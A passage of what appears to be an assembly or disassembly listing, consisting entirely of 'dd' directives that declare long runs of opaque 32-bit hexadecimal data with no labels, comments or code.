		dd 94ED0266h, 0CEC1D216h, 9A8E20BEh, 48599D00h,	0B11E314Ch
		dd 471900CEh, 0CAB814EEh, 0D7F84EF3h, 62FB5200h, 9F717B61h
		dd 0C03900FEh, 530212B6h, 0ED6E1331h, 18F8E120h, 0D33AD9h
		dd 16644010h, 0A9FC7A92h, 2D0C3779h, 31112360h,	8DB0BBh
		dd 4857A7B9h, 101972B7h, 8F1F3498h, 91FC6B3h, 6D46019Fh
		dd 18DEB5h, 99EE2BD3h, 2E150C7Dh, 144EA318h, 10BC250h
		dd 0FDB90EB3h, 0C1E18112h, 36DDD013h, 723D90C3h, 2F9188B3h
		dd 848F0051h, 3B95554h,	0FA0079E2h, 0FB564F5Dh,	600A8E7Fh
		dd 3B93880Fh, 0C103549Fh, 0F68CD7F3h, 961581AAh, 0A9BCA8C7h
		dd 79FCD0h, 0F767F75h, 7769745Bh, 92124703h, 88B6E072h
		dd 744D4053h, 73C330CEh, 90BA7620h, 75933A00h, 3C40CCABh
		dd 327F866h, 28CE9F8Bh,	0AB00987h, 3700678Ah, 80C1F31Fh
		dd 0A25379h, 0AC7B5CD0h, 0A472366Ch, 75406618h,	542758h
		dd 0E7463760h, 0F916F447h, 17181F77h, 0BF20A441h, 643A2ECFh
		dd 7BDC00B6h, 0E8FB1BA9h, 19407660h, 7E91F9h, 0CD1A8E48h
		dd 13433D07h, 5401B2FCh, 31D4365Dh, 7888276Bh, 5E603FACh
		dd 0E6E76C37h, 101A4295h, 5526A3F0h, 3B6F0058h,	3C392CADh
		dd 0D0F94306h, 1EC8C068h, 225DB73h, 27784167h, 0D8F8A480h
		dd 78C15A43h, 0CF88B03Bh, 0BF86208Eh, 2979E146h, 3500977Dh
		dd 569FFCCEh, 7464614Bh, 345F0148h, 79B9661Bh, 0FA207036h
		dd 0B4CA5A01h, 0DEB6DCE1h, 0A45237F4h, 689D52A4h, 14775D3Fh
		dd 0A4F28FE8h, 0A13DC4h, 1235827Ah, 0A61B1426h,	0BE81A023h
		dd 0E0528FB9h, 400EBAEh, 727CD00Dh, 0E3A52Ah, 0AF76DC6h
		dd 986E3EBEh, 0CB197407h, 21708E9Fh, 15F5DBh, 0E124B77Fh
		dd 18C30F40h, 3EF7C3Ah,	3EA62577h, 6669F8F0h, 783990ECh
		dd 0E09A00AFh, 1A870575h, 550E5B30h, 436C18DCh,	0A8E6268Dh
		dd 3BDA5499h, 0B9965FAEh, 1F7A01B5h, 0FF94B05Dh, 68D3A1C8h
		dd 86353D00h, 64C204E7h, 0FFE30036h, 2B463859h,	0ED00948Ah
		dd 273F6CEAh, 0EEBBA39h, 912EF6C6h, 74FAAE0h, 4E00BCD6h
		dd 0DCB5FCA7h, 0B025EF17h, 0AE362404h, 14400B6h, 4352C922h
		dd 9B126F00h, 0FA8718DDh, 65982624h, 7A230000h,	0E86CA3C6h
		dd 523C8000h, 7EEB515Ch, 0B2850054h, 0AE35DEFFh, 643AB157h
		dd 0CEEC835Ah, 0C8668FF7h, 0E145C6h, 4698B8B0h,	7ACCED75h
		dd 0A6D14107h, 0BEC0B106h, 6ABAAF2h, 568D3302h,	0BF7819E3h
		dd 0D914A202h, 0E0AF3F93h, 7CCE58h, 6B06C8C2h, 0ED341013h
		dd 0B00C860Fh, 0A0E1AF2Eh, 0E4F10F9Ch, 33FB0C6Ah, 0DA69A5C1h
		dd 0EE227500h, 1FAA82CFh, 721040B4h, 186B5D30h,	7F788AD8h
		dd 300A80ECh, 0DA4B8426h, 5477A1Fh, 15B1D1C3h, 6080FDA8h
		dd 9ECCDA6Bh, 0F470D51Ch, 0CF00DE77h, 6274F149h, 135B158h
		dd 30CE4A85h, 0D1AA478Ah, 2000E3B7h, 0E1B14C10h, 42AE27h
		dd 25718F20h, 0F095C273h, 4DC4DCFDh, 0CAAA6300h, 5868D55Dh
		dd 495A5C78h, 0CFF63800h, 0C246541Fh, 0EE424800h, 0D5EA0361h
		dd 6B2100A8h, 7390F9CEh, 0C001E17h, 0FE39C8AFh,	36C1E14Fh
		dd 8868A25Ah, 0E4F99401h, 0A9537732h, 302AE3DAh, 0B4215208h
		dd 0D302AF90h, 98EEBC93h, 0C8E07F30h, 0C0668A0h, 0DC944A6Fh
		dd 0D9DE6778h, 60DB05F8h, 0DCB10F84h, 8E28423h,	0B0045ABh
		dd 8EB7B15Bh, 3480A816h, 39C0B89Dh, 430136F3h, 0B4EB6B9Fh
		dd 2E4ED8C3h, 50539001h, 0A25521ABh, 0C9338880h, 0C62289CAh
		dd 0BE69C0E9h, 0AF1CCE00h, 0EBB92AD5h, 18CC0C4Fh, 0FDD874B0h
		dd 62FAD9F8h, 2B159A07h, 0E173C9F6h, 8240001Bh,	850ACCACh
		dd 267F0130h, 80944039h, 349C4D69h, 7FB2C266h, 1D0F0024h
		dd 1CAF60F1h, 831F6546h, 400F2F96h, 11CCBEB9h, 0EE91109Fh
		dd 0F65E0381h, 0A6784D90h, 0CFD09EE0h, 93008E7Ch, 14B711DAh
		dd 0DF847Ch, 659DAAF8h,	9F59C82Dh, 0D9245E1Eh, 0DAD79703h
		dd 6156C096h, 0A2C61DFCh, 0A39B434Dh, 0AFA36385h, 0B4392116h
		dd 36B93300h, 36FABF08h, 20809A0Ch, 0FE91803h, 0F5D557h
		dd 0E347BE10h, 0E629FA38h, 0DB199A18h, 3E9BD08h, 0EFC096D9h
		dd 75B8CE03h, 0DD90A1A8h, 0A0F01112h, 764907FFh, 73C7D7C2h
		dd 0B8099C03h, 809FF571h, 89CC1C1Ah, 0F8CF7AE2h, 46E3150Eh
		dd 0A40E6499h, 0C09A49FAh, 54EB6424h, 2A020000h, 6C661A5Bh
		dd 848200FFh, 19D02F67h, 0B1009E09h, 878C96DFh,	0C56CD4h
		dd 0D66BA298h, 8A2D3EF3h, 8FBD3Dh, 16430D03h, 0EEC7E2A4h
		dd 6E2F0740h, 0A3A87FA5h, 79B0FA5Ch, 5037AEEh, 0E0EA9DC7h
		dd 0F0E983D4h, 0B2AA4h,	156839C3h, 63DAD6ACh, 0F5CEBA00h
		dd 7C044278h, 65E00008h, 5E8290E1h, 0B4F650E4h,	0FECB9400h
		dd 0D3097BE3h, 0F3E00EF5h, 414974FBh, 0D3164DE1h, 0BC552880h
		dd 48153F00h, 864984B4h, 0A42900B6h, 0ED2E726Bh, 2F008AE3h
		dd 4A3DF9C2h, 1AA78E0h,	96DE5CBh, 0DC26B406h, 770025D9h
		dd 7E47BF6Fh, 12E7981h,	17053C4Fh, 20CD5BB8h, 52006E82h
		dd 3B3F82FBh, 0E2D2EBAh, 0D3051D40h, 0E9B8E740h, 423BE1D5h
		dd 11FC80E5h, 20146D19h, 487C316Eh, 0F0DD9718h,	6C00E8FDh
		dd 2C623E03h, 0DEC13Bh,	31165FE7h, 2E6F83D2h, 6896AC00h
		dd 63AE4597h, 0A6D1C5Dh, 88CE86E9h, 5100D866h, 428C11A4h
		dd 61E7A0h, 49C08075h, 605FA952h, 0BEF824EEh, 80AB063Dh
		dd 0B2D03203h, 3C3BC758h, 1C807CB3h, 0C13D1BE7h, 9C01B67Dh
		dd 0C7132847h, 5CE0E530h, 8CC01874h, 0C85E2804h, 38558h
		dd 0E0A550D3h, 0D6F7EAh, 0F45816FBh, 32CBE417h,	808A212Eh
		dd 3802830Ch, 0BB4D15BCh, 3817484Fh, 622302C2h,	4882B667h
		dd 69014A30h, 75FCABF0h, 0BB716Fh, 778C5C80h, 0F01F368h
		dd 0C85E13Fh, 507FD5CDh, 0C7B2035Eh, 1D1350DFh,	0AB201001h
		dd 0A8F5B9F4h, 3AD762E8h, 0C230115Bh, 0F6715921h, 834A3900h
		dd 0EFDF0725h, 40E6E679h
		dd 9C18FD23h, 9EB09BBBh, 967C0083h, 81C515Fh, 0FA06864Fh
		dd 0C17F0A01h, 97BF0051h, 0DB8EF9B4h, 0E00E484h, 0B52855C9h
		dd 53129Ch, 602102CAh, 2FE8AC46h, 80A3C038h, 4973E508h
		dd 0BED3B68h, 0C7B1D5BCh, 0AAF75A85h, 0E3887DC0h, 5E980078h
		dd 0B043705h, 0BD1F2535h, 0BA3E7Ch, 0E7ADF999h,	0EC61BA0Ah
		dd 73BB0002h, 2DB807E6h, 1A584682h, 2B6F00B8h, 923B2293h
		dd 5A1600DCh, 83C26770h, 0D3001A0Dh, 3426CFA8h,	6B028Fh
		dd 2193A5A0h, 5E2B4A43h, 0D1BC4100h, 6F62C2B3h,	30017BFFh
		dd 82861E90h, 61011C68h, 58CB4C95h, 0CF6F6Ah, 0E6540210h
		dd 550D764Eh, 8C32C600h, 169519Ah, 9F920047h, 2FF34D8h
		dd 39000E4Dh, 0B11ECBCAh, 0A0CED0h, 986B8F8Bh, 4CC5EF0h
		dd 0DA46D600h, 5BBE50A7h, 1F13A25h, 0C278F484h,	8D00FB89h
		dd 0ED3563A2h, 0F8BFFC8Eh, 190C00DEh, 14E093D4h, 64001C58h
		dd 885BE954h, 8C33EBh, 8763228Eh, 62ABBAC7h, 50B21F00h
		dd 32DD454h, 0E31A004Dh, 0EBA447ADh, 15049B69h,	0E2A20296h
		dd 8FE0ADC7h, 0C11B8E25h, 0C85C0FF0h, 0BBA08D63h, 80F04036h
		dd 0AAAF3193h, 0DD137C60h, 0D9598402h, 8F083BD2h, 889B9E60h
		dd 0CA251092h, 0F1A8820Dh, 1A80FB8h, 22B34F42h,	0A110892Fh
		dd 133F40EAh, 1A04422h,	91B317AEh, 8597625h, 80BBF8FCh
		dd 494585CEh, 9B102DF5h, 0C9880328h, 0A788405Ah, 22955B22h
		dd 122113D2h, 6673284Ch, 98EA58BDh, 656359C0h, 607CA9A3h
		dd 5B0EB197h, 6060F623h, 76BB7F50h, 0ED920016h,	0DD1DDF6Ch
		dd 4498C885h, 0B4F43A00h, 0C983EB51h, 791F6033h, 8A0D7E15h
		dd 0C08B4930h, 98F05B95h, 0F5331872h, 0EE52C836h, 0A20D2F0Eh
		dd 76B0A05Ch, 1D9E3796h, 99D22Ch, 63783B16h, 0A0C02AEBh
		dd 0B36D4730h, 45920035h, 560E0FCCh, 7330DBE7h,	25D2D88Bh
		dd 46DD00B0h, 0B42AC842h, 17F8BC99h, 3A7C3Ch, 0BD0EC45Ch
		dd 50B6F419h, 351F4D1h,	935883EFh, 68053653h, 9C32E216h
		dd 0E057F803h, 0C396C11Ah, 93E02C21h, 0B98B0EC7h, 2CCA65ABh
		dd 9AFD00C4h, 3B771F12h, 0C413A2FCh, 0F0020D58h, 40327DFAh
		dd 7AF5E94h, 0F741F847h, 870B4503h, 0C1DF2737h,	0D449FCEFh
		dd 0BD5038DDh, 0E03D89C7h, 67DA9D0Eh, 0BCCEB307h, 5EAECCh
		dd 8C8CD9Bh, 0C85641Dh,	0BD2B0E04h, 3BBD89Eh, 241AA04Fh
		dd 204F4699h, 8E044BA8h, 0DE8DAE60h, 960EA091h,	3EDB53F0h
		dd 9000C546h, 695222ECh, 2B1EA99Ch, 57D09244h, 7ED0200h
		dd 7874BF56h, 0D81EF607h, 0EE44F5E8h, 0CE5F1090h, 5862E54h
		dd 38E10098h, 0FD468F1Ah, 7EEC5C00h, 0C4EB3EF6h, 4D62E2B2h
		dd 5C75446Ah, 241C1A64h, 9ED6C351h, 90A45F7Fh, 80C195A4h
		dd 0F0FDFF00h, 0AA3D2E67h, 1433FBFAh, 43EFB600h, 1FC86BA0h
		dd 400F848h, 40B15429h,	4020CC3h, 642A4949h, 800487C6h
		dd 884A9DDAh, 0A57E91C2h, 0FFD81368h, 0F12124DEh, 5E2805Fh
		dd 0EFAD955Eh, 0D779FF0Eh, 2E1923D9h, 81C888C1h, 0B8C21304h
		dd 0E31F3Dh, 43C0B3D2h,	3090D36Ch, 0B0163300h, 6E3E6726h
		dd 7B0F1F40h, 5C1A004Eh, 19A23B9Ah, 0F49C1207h,	5660F5DAh
		dd 0B70A2EC4h, 501C250h, 0A6A23458h, 0CEF88C67h, 447703C5h
		dd 0F68A7F3Bh, 0E6C7EAC0h, 55AE1F00h, 0DFF7B65Dh, 6D400053h
		dd 0CB4A3EA1h, 8700F109h, 12542608h, 6EF3DA8h, 0E3EE2CCCh
		dd 9172F6A5h, 75B01B07h, 3BF003B4h, 0ADB1F3h, 0C7CFCCDh
		dd 6B4595B7h, 0BA863300h, 659448FBh, 61CE3D6Dh,	0F6443F80h
		dd 3149712Eh, 40C93801h, 0CDA91B15h, 2063D8h, 52A1B45Eh
		dd 1A79B137h, 0A0D13E0Eh, 0E09E6F80h, 0FEFA01A9h, 0D61C000Ch
		dd 4770E98Dh, 550032AEh, 521965E1h, 3C59FFA7h, 7A862Dh
		dd 0B651BB46h, 0D10996CCh, 38FDAB00h, 8EC895B1h, 0FE0F008Bh
		dd 47D9FC15h, 39E6F70Ch, 946F3402h, 80A3FD63h, 46D457C7h
		dd 6E4B00A4h, 6F8D98BDh, 0D201C109h, 10C663F7h,	0ADFC9E9Dh
		dd 0B661005Eh, 0C7BF3572h, 7FB86241h, 1F63C13Ch, 429747Eh
		dd 0AF9218D6h, 0EA71064h, 5BE1C000h, 2714BA71h,	0D9F301FFh
		dd 0B6EA2CE6h, 0C096D4D8h, 0B85FAF18h, 88434E29h, 424018B7h
		dd 0B9E5449Ch, 4492B144h, 0C1440AE8h, 0EEF44F0h, 4214D320h
		dd 201C0886h, 42940441h, 0DB990297h, 0E76A0213h, 280DB023h
		dd 2250A851h, 0FE227F0Bh, 192622E9h, 512BEC31h,	29B67739h
		dd 1731291Ah, 18C0794Ah, 9402FC11h, 183C76A1h, 6429383Fh
		dd 86B88840h, 0C05AE040h, 57CFE1C9h, 0B27DD18Ch, 0C56CAE00h
		dd 5AE5A5BFh, 1871013Fh, 0DECE74FEh, 0B617D825h, 0ABFB3C00h
		dd 7F36050Bh, 0E71300B2h, 5967F2CAh, 0CF00BFE1h, 9152A95h
		dd 26EFA0B7h, 120FD17h,	0E9AB9DC4h, 792CCC1Fh, 0DE119C00h
		dd 0E64CED6Ch, 0F6D53F09h, 8CCBCE80h, 0FA1E18C9h, 0BD677E2Eh
		dd 351A3907h, 298B13A0h, 63F14C33h, 28CE9B00h, 0DAC2CBF3h
		dd 0C8E1211Eh, 0C1FCB480h, 296064h, 0B59C259Ah,	56BFC742h
		dd 7C004079h, 37DD2E94h, 219495Fh, 10042067h, 70405B4Fh
		dd 840094BEh, 0D905DC70h, 18230CB7h, 48676968h,	0FD000611h
		dd 204F287Ch, 0C06FE609h, 0FFEE3450h, 831F4876h, 6C80F55Ah
		dd 0C9F21644h, 0F98900A7h, 3735DADBh, 0D10E0D08h, 7D853C13h
		dd 12CDE780h, 545DCBh, 93AD3EDFh, 0AB6BA22Eh, 4D3BA0Eh
		dd 7252431Fh, 16A00027h, 3CD5A6C3h, 0F600AD58h,	0AFCC9C48h
		dd 1BFE8h, 6B5D4317h, 1066DABCh, 4998DC00h, 0C550E2EFh
		dd 9C220B92h, 7A80AB9Eh, 9B973A3Fh, 0CFE8115Bh,	0C058FA1Dh
		dd 48C53E7Eh, 0EE3BB2ECh, 0B0A780F4h, 557D4A98h, 16C400B4h
		dd 383D51D3h, 930028F1h, 9BA1FBA7h, 0D9D027h, 6630EB6h
		dd 8D16CD2Bh, 97DB7C00h, 0B854506Bh, 0B88CF478h, 6759001Bh
		dd 0F8581A6Fh, 7703EBCDh, 0E0B1F974h, 0E091820Dh, 0E66550D9h
		dd 209F6AAh, 6AC75B30h,	0C60BB68h, 0DA0049A4h, 18CAC9F0h
		dd 3A81784Fh, 94806625h, 8B7F84A9h, 0C807CBFEh,	73D59BE7h
		dd 2A7BA90h, 74FDFAF2h,	0EFCD0059h, 922CBDCFh, 0E900D188h
		dd 3CC5B485h, 31AF97Dh,	8EB561EEh, 5A90A941h, 0DC48890Bh
		dd 0E8340E98h, 7AC8E025h, 1383C477h, 7210B4h, 373E62E3h
		dd 8BE03AF1h, 0D0ECC01h, 72FD710Bh, 13A899E0h, 367E33h
		dd 0B010AD70h, 53001C35h, 5C955AE4h, 0D5C5BDh, 0F27DB3F3h
		dd 6A6681C4h, 0DFAD3D00h, 64F77962h, 403005Dh, 997D8BB1h
		dd 773F129Fh, 601780EDh, 243907B5h, 0EC0F00C2h,	0E381115Eh
		dd 2603ABAAh, 8AA18C56h, 0E40188CEh, 79E801BCh,	4207D565h
		dd 858C408Eh, 0B518A6DAh, 0F641833Bh, 0CE7CA0h,	511D3CEDh
		dd 4F0FAE40h, 456D3603h, 0D0623898h, 2D413h, 5E66AC08h
		dd 8A7022F8h, 80269D3Fh, 800E3141h, 0D7EE51h, 859795BEh
		dd 0DE5E8AFCh, 88D40D00h, 74B9393Ch, 0D34E0011h, 5127065h
		dd 487C71C8h, 6C5A7900h, 0B241A12Dh, 86DF00CAh,	0A45BAEF5h
		dd 7C909C6Dh, 4FC8B607h, 22EFCB93h, 4096280Eh, 3826368h
		dd 5FDDBABEh, 0ACF8847Dh, 0DF00FDE1h, 994B6DB7h, 1CA46208h
		dd 0FEDA7Ch, 879E8E6Fh,	0FF0784F6h, 711533DDh, 0E0F008B3h
		dd 0BEF364Dh, 0FE312D8Ah, 0C2C7E0F5h, 3256138Bh, 0C3740016h
		dd 0F526ED8Ch, 0D62C7E00h, 0EECEDE23h, 0A1CA0041h, 0F962C533h
		dd 0A700CB03h, 0A69ECC6Ah, 0AA731Eh, 4723074Ah,	15ACE245h
		dd 0E7BF0101h, 3BA10C9Fh
		dd 1AA7E8h, 5C5FCEE4h, 5A819A60h, 0B8963900h, 56CA32F4h
		dd 0A1530F1Eh, 2CAFA4B3h, 57970E80h, 0D20091D5h, 0AE1BA02Dh
		dd 361F8h, 19C468C7h, 23586E47h, 2AC24800h, 7330A5C3h
		dd 7B27666h, 0CBD83A5Ch, 0F05D701Ah, 52003493h,	74F1976Ch
		dd 0A5234Eh, 4539696Ah,	7EC3639Dh, 0CB2C8300h, 0A12842C5h
		dd 0DE1E3A11h, 0DDE6BF07h, 558F0A5h, 0B8006953h, 0B62886A6h
		dd 99578Ch, 80D22B7h, 81E409D4h, 0C6116315h, 2B7500B8h
		dd 0CF49A882h, 59550F5Fh, 0CFBFAED5h, 60E0D142h, 481DA64Fh
		dd 6908BF05h, 0C1C707C4h, 4ADCAF90h, 8044B316h,	0FBD70820h
		dd 9785FD2h, 0C219AF00h, 0A086E727h, 66E1038Ch,	0B48197F5h
		dd 88AB7F0h, 44325400h,	5DF4FECDh, 2597128h, 0C7D8BCD0h
		dd 8663632Dh, 40C50890h, 65124A7Dh, 4C020F34h, 6BE97787h
		dd 4D20D018h, 1BB50006h, 278B2D58h, 24009A91h, 0EBD6350h
		dd 1EF04CBh, 3A2F4F9Dh,	0F4EE7608h, 0F7005817h,	6158A7Eh
		dd 19CB169h, 3CCDC3B8h,	3018A6F8h, 9A00878Ch, 9179E3A2h
		dd 0CBE92Eh, 4AE429F6h,	0BA0E4C1Dh, 2374BC00h, 202F5EBBh
		dd 1B8D1667h, 6EC80078h, 7E8E89CDh, 0BE769501h,	6B06EE65h
		dd 63E8B880h, 3ECE60EDh, 967F271Dh, 0DB8A5240h,	870FC3h
		dd 0F789AE76h, 12375D2Ch, 67CD3Ah, 0F3C1933Bh, 1CCAC4Fh
		dd 0BC74D6B4h, 0FC29E9C8h, 0A3001709h, 3FCF36E8h, 366D84DCh
		dd 0F4980D41h, 0F99CCC00h, 0D2EC3126h, 0B01D386Fh, 3EBB900h
		dd 0C941F683h, 93BF0400h, 61362A23h, 1EF8EAFEh,	0F13181h
		dd 0D377DC4Eh, 0E0007AD6h, 8D577C37h, 7472B983h, 13760035h
		dd 5DB3F50h, 670F2C98h,	0C2775646h, 0C061B67Bh,	8E8AE1h
		dd 0F0368663h, 0E6DE389Ch, 0E30018B8h, 0FAC150E8h, 60DCCBh
		dd 0AE66C448h, 9E2B0EC7h, 0A82DB73Bh, 0A9F2AC7Bh, 5E1F8E00h
		dd 8B31C164h, 78131374h, 0A2880F0Ah, 5080DC47h,	7CB0BDD9h
		dd 3B6348h, 0D6C5EF6Ah,	0CAFEF4h, 0F9D75B1h, 1AEDF10Ah
		dd 18D3B000h, 6335223Eh, 0A7040046h, 1408ABACh,	0DB03D57Ah
		dd 3F9BB043h, 7BF1007Dh, 207875EEh, 9D006DBCh, 189E5064h
		dd 1C7DDEBh, 22C4BA65h,	0F87B9683h, 0CBF68166h,	0DC492609h
		dd 6CC88014h, 0F35AEh, 7F6ABE74h, 0EC86B99h, 80173698h
		dd 4C40B08Bh, 0FBE3BF50h, 5AD7219h, 0FEBD908Ch,	396C070h
		dd 0AE0C31D6h, 98A90AF4h, 0FB55011Bh, 0E2C165EEh, 0BF5BCC4Ah
		dd 579FDA00h, 5AA208E0h, 1DFFB093h, 0C006EAC9h,	0B93A3B69h
		dd 0A07B6A51h, 3C0B420Eh, 681D5734h, 0C84E68C0h, 0C3118Bh
		dd 7519FA23h, 8F264BA4h, 0A5C9D501h, 5159279Fh,	690BB440h
		dd 8AAF0095h, 73E26A65h, 7700F7F8h, 0CBD1948Ch,	1BF0F1Bh
		dd 0E8F9B867h, 0D04389A8h, 1C0124D7h, 0F1118D64h, 0A7C4DBBEh
		dd 416B0060h, 1536D547h, 900072B5h, 78199591h, 0E2A03Ch
		dd 0A285D0BEh, 56D50577h, 7A9A6F00h, 0A8EC37E8h, 0F092F9h
		dd 0EE1F257Fh, 488CF0B6h, 6F292300h, 7B7D52E8h,	0E9B8C009h
		dd 68F1C62Fh, 4150A900h, 930B760Eh, 80350B1Ch, 3100155Ch
		dd 44CCA3A4h, 87073E3Dh, 9FD16A6Bh, 24C10069h, 1C68780Eh
		dd 2B73CAh, 9E5ECF3Fh, 9100DEEDh, 0E92CC58Ah, 802399h
		dd 19B62705h, 68C29496h, 0ED4D3D00h, 0AD1A6CBEh, 0DCE01DA4h
		dd 8E25C035h, 7C76C36Eh, 67ED9B09h, 0E06820D8h,	2C74FAFEh
		dd 31DA3Dh, 3D37A04h, 0CC00BB2Dh, 944B84C9h, 0A7F9B9h
		dd 0E21190D7h, 12BCB0A3h, 16BAD38h, 3860E915h, 2872B4h
		dd 9E3C10EBh, 38D8ECDFh, 0D4B77880h, 0BBFCF325h, 0CAEA1F00h
		dd 21720CF2h, 8AAC02F8h, 0FAE4E17Dh, 5D101EE0h,	95C8D38h
		dd 807E1248h, 899F7000h, 698B140Dh, 79FC3Dh, 99596DBDh
		dd 1EABF0C4h, 3B657200h, 0DEE16ABCh, 50302C38h,	0BE68918h
		dd 0C021C485h, 0E48EC344h, 0E7CA6D07h, 0F2E088AFh, 60ECDD57h
		dd 498C2010h, 9F0004EFh, 0EAA01713h, 421FFFh, 466D1CFDh
		dd 0A7FC3089h, 1E8BA909h, 0BCE000A1h, 7219ECC4h, 0DD401D91h
		dd 0C395C1ACh, 0E07493A0h, 0D00BDEEh, 202E71DFh, 3D8DFBE5h
		dd 0BEBE1942h, 8A895D00h, 1FC260E6h, 44CA8E1Dh,	80B7208Bh
		dd 19F8208h, 3E413C52h,	3DFC3A80h, 89D29311h, 8883FA1Ch
		dd 417BA30Eh, 0D0B9AC4Eh, 75BFC0h, 9C4284BBh, 2A58B449h
		dd 78077C00h, 16F6DC5Ch, 0C2AF0059h, 9E906C86h,	0B50396ABh
		dd 0D55F13A5h, 0E2C8F818h, 0EDB63DC5h, 72A81D82h, 8A804D25h
		dd 8D14EE9h, 64934C24h,	0B9605880h, 0FEA6EF3h, 9D2DC631h
		dd 8D98EDA0h, 0A63C9F7Eh, 0A9E780E8h, 7368771Bh, 0AFF7DC5h
		dd 0C104BF42h, 40EB0BCFh, 0EDC31300h, 150028FBh, 0A39D7A47h
		dd 2D067Eh, 8A308D0Ah, 16EA9927h, 301BE39h, 3E548890h
		dd 0D0C39025h, 0EC0C1CACh, 0D55B00F1h, 0FACB0543h, 73DC4500h
		dd 1133DB35h, 0C7CA009Bh, 56AD8674h, 0F3003924h, 17E36A3Ch
		dd 3B4126h, 9D981B1Ch, 0D8E1E7A7h, 33CFCF2h, 0A00C259Ch
		dd 0B923DD60h, 7BCC006Ch, 94D9530Eh, 0D501A6C4h, 0F80A2634h
		dd 0A8DF54EDh, 91063Ah,	74D8CD47h, 6E39B14Ah, 0B9903809h
		dd 0E6800FFh, 1F51EC58h, 0C05FD0F1h, 9759418Ch,	781DB606h
		dd 7209624Dh, 5CC46Eh, 92560B50h, 0B408C4AFh, 3B75AE00h
		dd 0E353CC89h, 6C520039h, 0B92C5C6h, 0D6004808h, 366F5D9h
		dd 75E275Bh, 0F988FBFFh, 0A21D407Dh, 0BF076EAAh, 358A4EEDh
		dd 337EAB50h, 9075181Fh, 0D3490E79h, 5F1B5B00h,	0C245257Bh
		dd 0CA800096h, 5A6FA121h, 613FF358h, 6967000Bh,	24350D46h
		dd 0BF3E00EBh, 0F8499E0Eh, 0BD021B33h, 7C5A89Bh, 77ECE059h
		dd 561000D2h, 0FCEA5C65h, 5E1DE3E2h, 97683CBBh,	81307D00h
		dd 8DF45036h, 153900ABh, 7F78B8D1h, 0E9009ED2h,	76AFDD68h
		dd 3474EF6h, 0C6106D71h, 0D5B03AACh, 30002C08h,	0CAC0CEDDh
		dd 2F53141h, 8509976Fh,	0B4486B20h, 0A900D286h,	0B030D7C7h
		dd 0EEA42E0h, 0AB84BAAAh, 9653E00h, 9802D135h, 0ED2A36FEh
		dd 864BC17Eh, 978AE4h, 0D8EB5929h, 6728CFF7h, 0E138DE7Dh
		dd 4E138A08h, 1D01A2B6h, 81BDCD40h, 43B19942h, 0ECC90FCh
		dd 10CE070Ch, 10749662h, 81F1E442h, 4683050Fh, 66596153h
		dd 7DC94132h, 482720h, 393DBC93h, 33D89C69h, 5EAF038h
		dd 70B76D0Bh, 2488E880h, 2F581CD3h, 0A1CA407Fh,	84E9FDB4h
		dd 605BA900h, 63CE2630h, 7E46014Bh, 6B787617h, 1143657h
		dd 56C1F973h, 25CDB664h, 2B00D839h, 0ECB480A1h,	9028298Ch
		dd 0F22CFC39h, 1007186h, 1584535Fh, 0E2E7794h, 68B1591Ch
		dd 744C56E0h, 0F848AD9Ch, 16E6003Bh, 5BCECD4h, 722000B4h
		dd 1BDE31FBh, 0F124A4BAh, 0F31E7C5Ch, 4829892h,	8561E0D7h
		dd 0EDF20044h, 0B3973A94h, 1F00BE38h, 0CEF19C14h, 3F8C2A22h
		dd 94BF1AC7h, 7948D4D0h, 8B3200B0h, 0BC5FDC54h,	0C000E8F4h
		dd 0E0A05734h, 71BBFB5h, 0C44CD59Fh, 3E56A081h,	1400CEC8h
		dd 0BF3CD40Bh, 0B4C36Fh, 3A738D95h, 0A87CCAAh, 1279A700h
		dd 2831A969h, 0E2A50006h, 50F63249h, 15004013h,	20D6241Ah
		dd 38051794h, 34804A33h, 0F007E87Bh, 37003286h,	0FE7F52D0h
		dd 0F3D7056h, 48BEEF68h, 0C3922A80h, 133B96FDh,	18B68006h
		dd 74DBCF17h, 0EE9D0350h, 538D0F25h, 690881E5h,	0F50C30F8h
		dd 376DB300h, 13DA846h,	4F641D73h, 0F38A4E7Eh, 8F7C4A93h
		dd 4C500188h, 0F4E1152Ah
		dd 16014B29h, 0FE915FC0h, 63204DBCh, 0BF2002Bh,	28B7F6D6h
		dd 10599017h, 0BF0900CCh, 0D89112D0h, 0CB180023h, 0AB9DC3CCh
		dd 20001BDh, 673E0E6Bh,	1D9884h, 0E4FAAAE6h, 383F1876h
		dd 8927BF03h, 0DA687236h, 0D748E0B7h, 0D36A00F1h, 476D186Eh
		dd 0BE074E9Ah, 0EBE35433h, 8D7A20A0h, 0DF8601B9h, 0A404A1D6h
		dd 2080D9F3h, 0C10074A5h, 7C64CE1Eh, 7B0CE381h,	12349848h
		dd 0D05031F6h, 2445A1C4h, 0F27B4900h, 6AEBB91Bh, 42B51C66h
		dd 54C9C298h, 6040AA81h, 0C400FA8Eh, 0D7F98FD8h, 759D2Ch
		dd 0C02350B3h, 32977F0Eh, 2B8E0800h, 0E662BF39h, 19FF017h
		dd 2AD4BE05h, 2046F4D6h, 0D100297Dh, 18861187h,	41E02Dh
		dd 0CA16B621h, 0BA49AAF1h, 0A8A7E82Ch, 0E6C8730Ch, 75D30065h
		dd 0A19515ABh, 120591CDh, 16BC3D6Ah, 93E0F000h,	0C3D5C1h
		dd 0F197CEDBh, 0CC711167h, 9126F001h, 78FCB16Bh, 0C7B8C840h
		dd 3050007Dh, 2022A8DCh, 510068FDh, 2FC2E058h, 0EEBB29BAh
		dd 4063A4Dh, 5BD28A80h,	0E279D47Ah, 0E8974207h,	20608525h
		dd 0E4ED9Eh, 0ECBF0CC5h, 6BD4B08h, 0A7977D00h, 32721A69h
		dd 3D2902B7h, 50DAD26Eh, 0F30C20E0h, 9CFE7100h,	0C1341DD5h
		dd 0EB85005Ch, 3DE9AE8Dh, 7B01B6C2h, 73B3E13Ch,	8871E778h
		dd 0DAF72A80h, 38812955h, 0C60026E2h, 578789C4h, 73B483B3h
		dd 0ECEA012Dh, 0E661EE1Bh, 916B6019h, 8D003198h, 729458F4h
		dd 745F37Ah, 7DF7BD28h,	0E4EAD03Fh, 4A000757h, 3858E3DFh
		dd 0FC5DA93Ch, 5BE824F2h, 0F56A001Ch, 7C919B51h, 7C58C024h
		dd 1873D981h, 0B82CAEC4h, 0A1BEFE85h, 5DBEC34h,	8B31DD01h
		dd 0BC884D93h, 0CA67C0h, 0F2207242h, 0E3D5161Ch, 0F072C1Ch
		dd 0F103BF5Fh, 98C2A0EFh, 984A29h, 32A42387h, 6321DFD1h
		dd 0F6183300h, 2799C1DCh, 0B1C500B2h, 4254CEF2h, 0AB005310h
		dd 0A04D7B55h, 4F8056ACh, 89EC97h, 0A9BC7F69h, 381BED96h
